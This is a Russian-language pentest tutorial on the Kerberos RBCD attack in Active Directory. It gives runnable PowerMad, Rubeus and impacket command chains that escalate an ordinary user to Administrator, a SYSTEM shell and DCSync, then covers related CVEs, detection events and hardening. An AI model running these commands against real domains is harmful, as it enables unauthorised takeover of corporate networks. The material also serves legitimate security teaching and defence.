Перейти к содержимому

CVE-2026-55123 и Kerberos delegation: RBCD-атака от обычного юзера до Domain Admin

CVE-2026-55123 и Kerberos delegation: RBCD-атака от обычного юзера до Domain Admin
Время чтения: 12 мин.

Клиент уверял: «привилегии зажаты по максимуму, лишних прав нет». Через 25 минут после получения учётки рядового сотрудника — права Domain Admin. Ни одного zero-day. Вся цепочка прошла через одну ACL-запись на компьютерном объекте, о которой не знал ни один администратор.

Техника — RBCD (Resource-Based Constrained Delegation). Это ресурсная делегация Kerberos: штатный механизм Active Directory, работающий by design с 2012 года. Не баг. Не эксплойт. Фича, которую забыли ограничить.

Сразу поправка: CVE-2026-55123, которую иногда упоминают рядом с Kerberos delegation, по данным NVD — heap-based buffer overflow в Microsoft Office PowerPoint (CVSS 7.8, CWE-122 + CWE-681). Пользователь открывает вредоносный файл — получает выполнение кода. К делегации Kerberos она не имеет отношения. Реальные CVE в среде делегации — CVE-2026-27912 (Improper Authorization в Kerberos, CVSS 8.0), CVE-2026-25177 (эскалация через Unicode-путаницу в AD, CVSS 8.8) и классический CVE-2020-17049 (Bronze Bit, CVSS 6.6). Но RBCD-атака, которую мы разберём пошагово, вообще не эксплуатирует конкретную уязвимость — она злоупотребляет штатной функциональностью протокола.

Как работает ресурсная делегация Kerberos

Зачем нужна делегация и где появляется RBCD

Делегация в Kerberos решает прикладную задачу: пользователь логинится в веб-приложение, а то должно обратиться к базе данных от его имени. Без делегации приложение идёт в БД под своей сервисной учёткой — база не знает реального пользователя, аудит и гранулярный доступ ломаются.

Microsoft выпустил три версии механизма, и каждая следующая была чуть безопаснее предыдущей. Чуть.

Unconstrained Delegation (Windows Server 2000) — самая опасная. Сервер кэширует полный TGT каждого подключившегося пользователя. TGT — это Ticket Granting Ticket, мастер-билет Kerberos, который даёт доступ ко всем сервисам домена. Контролируешь такой сервер — собираешь TGT всех, включая Domain Admin.

Constrained Delegation (Windows Server 2003) — шаг вперёд. Сервисная учётка делегирует только к конкретному списку сервисов из атрибута msDS-AllowedToDelegateTo. Для настройки нужны права Domain Admin.

Resource-Based Constrained Delegation (Windows Server 2012) — RBCD. Модель перевёрнута: целевой ресурс сам определяет, кому разрешено делегировать к нему, через атрибут msDS-AllowedToActOnBehalfOfOtherIdentity на своём компьютерном объекте.

И вот тут начинается интересное. Для классической constrained delegation нужен Domain Admin. Для RBCD — достаточно права записи на целевой компьютерный объект: GenericWrite, GenericAll, WriteDACL или WriteProperty. Такие права в корпоративных доменах встречаются гораздо чаще, чем кажется.

S4U2Self и S4U2Proxy атака: протокол на пальцах

RBCD-атака опирается на два расширения Kerberos — S4U2Self и S4U2Proxy. Звучит абстрактно, но суть простая.

S4U2Self позволяет сервисной учётке запросить Service Ticket (билет доступа к конкретному сервису) к самой себе от имени любого пользователя. Целевой пользователь даже не должен аутентифицироваться — протокол это допускает. Да, именно так: ты просишь билет «от имени Administrator», и KDC его выдаёт.

S4U2Proxy берёт полученный через S4U2Self билет и запрашивает Service Ticket уже к целевому сервису от имени того же пользователя.

Обычно S4U2Proxy проверяет, помечен ли билет из S4U2Self флагом «forwardable» (разрешена пересылка). RBCD обходит эту проверку: когда на целевом объекте прописан msDS-AllowedToActOnBehalfOfOtherIdentity с SID контролируемой учётки, KDC (Key Distribution Center — центр выдачи Kerberos-билетов) принимает билет независимо от флага.

Результат: Service Ticket к любому сервису на целевой машине от имени любого пользователя, включая Administrator. Без знания пароля, без предварительной аутентификации целевого пользователя.

Бизнес-логика: зачем это злоумышленнику

Зачем атакующему RBCD? Lateral movement — перемещение по сети после первоначального проникновения. По данным CrowdStrike Global Threat Report 2025, среднее время lateral movement составляет 62 минуты (рекорд — 51 секунда). RBCD-цепочка укладывается с запасом.

Результат: полный контроль над целевой машиной. Если цель — контроллер домена, это прямой путь к DCSync (выгрузка хэшей всех учёток), NTDS.dit и полной компрометации леса AD. По данным IBM X-Force 2025, 75% вторжений используют действительные учётные данные — RBCD-атака прекрасно вписывается в этот паттерн: никаких эксплойтов, только валидные билеты Kerberos.

Предусловия RBCD-атаки: что нужно для эскалации привилегий в Active Directory

Прежде чем запускать инструменты — проверь три предусловия:

Условие Детали Как проверить
Право записи на целевой компьютерный объект GenericWrite, GenericAll, WriteProperty или WriteDACL PowerView: Get-DomainObjectAcl, BloodHound: ребро GenericWrite
Контролируемая учётка с SPN Машинная учётка (SPN по умолчанию). Создаётся через MachineAccountQuota — по умолчанию 10 штук на пользователя Get-ADObject -Identity "DC=domain,DC=local" -Properties ms-DS-MachineAccountQuota
DCFL >= Windows Server 2012 Атрибут msDS-AllowedToActOnBehalfOfOtherIdentity появился в Server 2012 Get-ADDomain → DomainMode

Откуда берётся write-доступ? В реальных проектах его находят через BloodHound за минуты. Типичные источники: helpdesk-учётки с делегированными правами на OU (организационную единицу) рабочих станций, сервисные учётки, которым выдали GenericWrite «чтобы заработало» при миграции и забыли отозвать, остатки старых GPO-настроек. BloodHound показывает ребро GenericWrite или GenericAll от твоей учётки к компьютерному объекту — RBCD возможна.

Если MachineAccountQuota равен нулю, создать машинную учётку нельзя. Альтернативный путь — SPN-less RBCD через U2U-аутентификацию (описана Jame Forshaw в 2022), но он требует жертвенной учётки и выходит за рамки этой статьи.

RBCD эксплуатация Active Directory: пошаговая атака

Сценарий: учётка j.smith имеет GenericWrite на WEB01.corp.local. Цель — получить Administrator на WEB01. Предусловия: консоль PowerShell на доменной машине, в памяти — PowerMad, PowerView, Rubeus.

Делай раз: проверь write-доступ. Команда PowerView: Get-DomainObjectAcl -Identity "WEB01" -ResolveGUIDs | Where-Object { $_.ActiveDirectoryRights -match "GenericWrite|GenericAll" }. В выводе ищи строку с SID j.smith и правом GenericWrite/GenericAll. Нет строки — нет атаки на этот объект, ищи другой.

Делай два: создай машинную учётку. Через PowerMad: New-MachineAccount -MachineAccount FAKEMACHINE -Password $(ConvertTo-SecureString 'P@ssw0rd1!' -AsPlainText -Force). Проверь командой Get-ADComputer FAKEMACHINE — вернулся объект, значит учётка создана.

Делай три: получи NTLM-хэш. Rubeus вычисляет rc4_hmac из пароля: .\Rubeus.exe hash /password:P@ssw0rd1! /user:FAKEMACHINE$ /domain:corp.local. В выводе ищи строку rc4_hmac — запиши значение.

Делай четыре: запиши RBCD-атрибут. Указываешь WEB01, что FAKEMACHINE$ может делегировать к нему: Set-ADComputer WEB01 -PrincipalsAllowedToDelegateToAccount (Get-ADComputer FAKEMACHINE). Проверяешь: Get-ADComputer WEB01 -Properties PrincipalsAllowedToDelegateToAccount. FAKEMACHINE$ в выводе — атрибут записан.

Делай пять: запусти S4U-цепочку. Rubeus выполняет S4U2Self + S4U2Proxy одной командой:

.\Rubeus.exe s4u /user:FAKEMACHINE$ /rc4:<хэш_из_шага_3> /impersonateuser:Administrator /msdsspn:cifs/WEB01.corp.local /ptt

Флаги: /user — подконтрольная учётка, /rc4 — её NTLM-хэш, /impersonateuser — кого имперсонируем, /msdsspn — целевой SPN (cifs = SMB-доступ), /ptt — pass-the-ticket, билет импортируется в текущую сессию. Успешный вывод заканчивается Ticket successfully imported!.

Делай шесть: проверяй. Команда dir \\WEB01.corp.local\c$. Видишь листинг диска C:\ — у тебя полный административный SMB-доступ к WEB01. Далее — PSExec, secretsdump, что требует задача.

Трюк с /altservice: один билет — несколько сервисов

SPN в сервисном билете не подписан KDC — его можно подменить после выдачи. Запросив билет на cifs/WEB01.corp.local, переиспользуй его как LDAP/WEB01.corp.local. LDAP-доступ к контроллеру домена позволяет выполнить DCSync. В Rubeus это флаг /altservice:ldap. Приём описан в Hacker Recipes и подтверждён публикациями adsecurity.org.

Повышение привилегий до Domain Admin через impacket

Та же атака с Linux-машины через impacket — Python-библиотеку для работы с протоколами Windows. Предусловие: установленный impacket на Kali или Parrot, сетевой доступ к контроллеру домена.

# Создание машинной учётки
addcomputer.py -computer-name 'FAKEMACHINE$' -computer-pass 'P@ssw0rd1!' corp.local/j.smith:пароль

# Запись RBCD-атрибута на целевой объект
rbcd.py -delegate-from 'FAKEMACHINE$' -delegate-to 'WEB01$' -dc-ip 10.10.10.1 -action write corp.local/j.smith:пароль

# S4U-цепочка: получение билета Administrator
getST.py -spn cifs/WEB01.corp.local -impersonate Administrator -dc-ip 10.10.10.1 corp.local/'FAKEMACHINE$':'P@ssw0rd1!'

После getST.py в директории появится файл Administrator.ccache. Экспортируй: export KRB5CCNAME=Administrator.ccache. Подключайся: psexec.py -k -no-pass WEB01.corp.local — SYSTEM-шелл на целевой машине.

Если у j.smith есть write-доступ на контроллер домена, замени WEB01 на DC01 — и получишь Domain Admin напрямую. На практике write на DC встречается реже, но путь через промежуточную рабочую станцию (WEB01 → credentials → DC) работает не хуже.

Нюанс для обновлённых доменов: с июля 2026 Microsoft принудительно отключает RC4 в Kerberos (CVE-2026-20833, CWE-327 — использование слабого криптоалгоритма). Если контроллер домена уже на Phase 2+, S4U с /rc4-хэшем может молча не сработать. Решение: используй AES-ключ вместо RC4. В Rubeus — флаг /aes256:<aes256_hash>, в impacket getST.py — флаг -hashes с AES-значением.

Реальные CVE в экосистеме Kerberos delegation

CVE-2026-27912 и CVE-2026-25177: identity confusion на контроллере домена

CVE-2026-27912 (ResetNightmare) — Improper Authorization в Windows Kerberos, CVSS 8.0 (HIGH). Вектор: AV:A/AC:L/PR:L/UI:N. Расшифровка для тех, кто только начинает читать CVSS-векторы: AV:A — атака из смежной сети (не через интернет, но и не локально), PR:L — нужны низкие привилегии (обычный доменный юзер), UI:N — жертве не нужно ничего делать. CWE-285 — Improper Authorization. Затронуты Windows Server 2012, 2016, 2019, 2022.

По данным исследования Semperis (август 2026), ResetNightmare позволяет низкопривилегированному пользователю мгновенно получить Domain Admin за счёт identity confusion — KDC начинает идентифицировать атакующего как другого пользователя через злоупотребление протоколом смены пароля Kerberos. CISA SSVC-решение — Track (мониторить). EPSS — 0.0043, перцентиль 0.3451. EPSS — это вероятность эксплуатации уязвимости в дикой природе в ближайшие 30 дней; значение ниже медианы означает, что массовой эксплуатации пока нет. Но technical impact — total: если кто-то воспользуется, будет полная компрометация.

CVE-2026-25177 (KerberLoss) — Improper Restriction of Names for Files and Other Resources в Active Directory Domain Services, CVSS 8.8 (HIGH), вектор AV:N/AC:L/PR:L/UI:N. CWE-641 — некорректное ограничение имён ресурсов.

Semperis обнаружила, что AD принимает «невидимые» Unicode-символы в именах объектов. KDC при поиске SPN (Service Principal Name — идентификатор сервиса в Kerberos, по которому клиент находит нужный билет) нормализует Unicode, а SMB-сервис — нет. Это позволяет запросить сервисный билет для SPN с подменёнными символами и использовать его для аутентификации на целевом сервисе. Synacktiv в параллельном исследовании показала аналогичный трюк: замена символа R на Unicode-эквивалент ℜ в имени хоста обходила проверки SPN и позволяла рефлектить Kerberos-аутентификацию для получения SYSTEM.

CVE-2020-17049: Bronze Bit и обход forwardable

CVSS 6.6 (MEDIUM), вектор AV:N/AC:H/PR:H/UI:N. CWE-863 — Incorrect Authorization. Скомпрометированный сервис мог подделать флаг forwardable в сервисном билете. До патча KB4598347 (декабрь 2020) RBCD-атаки работали даже против учёток, помеченных как «sensitive and cannot be delegated». Флаг -force-forwardable в impacket getST.py реализует эту технику. EPSS — 0.1379, перцентиль 0.964 (Top 5%) — вероятность эксплуатации высокая. Этой CVE уже пять лет, а она до сих пор стреляет на непатченных контроллерах.

Связанный CVE-2020-16996 (CVSS 6.5, Kerberos Security Feature Bypass) закрывал проверки при S4U2Proxy TGS-REQ. До этого патча члены группы Protected Users не были защищены от делегации, хотя должны были. И вот ловушка: даже после обоих патчей встроенная учётка Administrator (RID 500) обходит это ограничение — даже будучи в Protected Users.

Почему CVE-2026-55123 — не про Kerberos

CVE-2026-55123 — heap-based buffer overflow в Microsoft Office PowerPoint. CVSS 7.8, вектор AV:L/AC:L/PR:N/UI:R (локальная атака, требует открытия вредоносного файла пользователем). CWE-122 (Heap-based Buffer Overflow) + CWE-681 (Incorrect Conversion between Numeric Types). Затронуты Microsoft 365 Apps и Office 2019. EPSS — 0.0047, перцентиль 0.3792, ниже медианы. CISA SSVC — Track, эксплуатация не зафиксирована.

Путаница возникла из-за близости номеров и дат публикации с реальными Kerberos-CVE (CVE-2026-27912 вышла 14 апреля, CVE-2026-55123 — 14 июля 2026). К делегации, RBCD и S4U эта уязвимость отношения не имеет.

Детектирование и защита от constrained delegation атак

Как обнаружить RBCD-атаку

Три события, на которые нужно настроить алерты:

Создание машинных учёток не-администраторами. Атрибут mS-DS-CreatorSID заполняется, когда машинную учётку создаёт обычный пользователь. Это первый маркер подготовки к RBCD.

Изменение msDS-AllowedToActOnBehalfOfOtherIdentity. Центральное событие атаки. Мониторь Event ID 5136 (Directory Service Changes) с фильтром по имени атрибута. Если кто-то правит этот атрибут и это не плановое изменение — ты уже в середине инцидента.

Аномальные Kerberos-запросы. Event ID 4768 (TGT requested), 4769 (Service Ticket requested) — ищи запросы от свежесозданных машинных учёток с S4U-паттерном: Service Ticket для Administrator к сервису на машине от учётки возрастом меньше часа. Event ID 4672 (Special Privilege Logon) фиксирует появление привилегий.

Подход к мониторингу соответствует рекомендациям OWASP A01:2021 (Broken Access Control) и NIST CSF v2.0 (DE.AE-01 — baseline of network operations).

Чеклист харденинга

# MachineAccountQuota: по умолчанию 10, установить в 0
Get-ADObject "DC=corp,DC=local" -Properties ms-DS-MachineAccountQuota
Set-ADDomain corp.local -Replace @{"ms-DS-MachineAccountQuota"=0}

# Найти машинные учётки, созданные не-админами
Get-ADComputer -Filter * -Properties mS-DS-CreatorSID |
  Where-Object { $_.'mS-DS-CreatorSID' -ne $null }

Ожидаемый вывод первой команды: число (обычно 10). После Set-ADDomain повторный запрос должен вернуть 0. Вторая команда покажет все подозрительные машинные учётки — если вывод не пуст, проверяй каждую.

Дополнительные меры: помечай чувствительные учётки флагом «Account is sensitive and cannot be delegated» или добавляй в группу Protected Users. Но помни ловушку: RID 500 Administrator обходит это ограничение даже в Protected Users. Включай Credential Guard на поддерживаемых системах. Регулярно аудируй ACL на компьютерных объектах — GenericWrite у helpdesk-группы на OU «Workstations» = готовый вектор RBCD.

Контекст для LDAP-relay сценария: Synacktiv продемонстрировала, что RBCD-атрибут можно записать через relay Kerberos-аутентификации к LDAP, минуя необходимость прямого write-доступа. CVE-2025-33073 (SMB Improper Access Control, CVSS 8.8) находится в каталоге CISA KEV. CISA KEV — это список уязвимостей, которые уже эксплуатируются в реальных атаках; попадание туда означает «патчить немедленно». EPSS 0.827 — Top 1%. Если в домене есть ADCS (Active Directory Certificate Services) или WebDAV-сервисы — это дополнительная поверхность атаки.

RBCD — атака, которая не требует zero-day и не зависит от конкретной CVE. Она работает по дизайну протокола тринадцать лет подряд. Каждый домен с MachineAccountQuota > 0 и неаудированными ACL на компьютерных объектах — готовая цель. В каждом третьем проекте по внутреннему пентесту именно RBCD приводит к Domain Admin, и реакция клиента одинакова: «Но у нас же делегация нигде не настроена!» Именно — RBCD не требует явной настройки администратором.

Индустрия зациклена на CVE-patching: закрыть критическую уязвимость, развернуть обновление. По данным IBM X-Force 2025, среднее время между публикацией CVE и устранением — 29 месяцев. Но RBCD — не CVE. Это design-level abuse path без номера, без CVSS-скора, без EPSS-перцентиля. Его нет в сканерах уязвимостей. Единственный способ закрыть — аудит ACL, MachineAccountQuota и мониторинг 5136-событий. Пока защитники играют в патч-менеджмент, атакующие ходят через дизайн. Если хочешь разобраться в AD-безопасности системно, а не собирать из отдельных статей — IB Basics на codeby.school закрывает эту базу за пару месяцев, включая лабы по делегации.

Эту тему и смежные навыки разбирают на практике в курсе «Анализ защищённости инфраструктуры на основе Active Directory» Codeby Academy.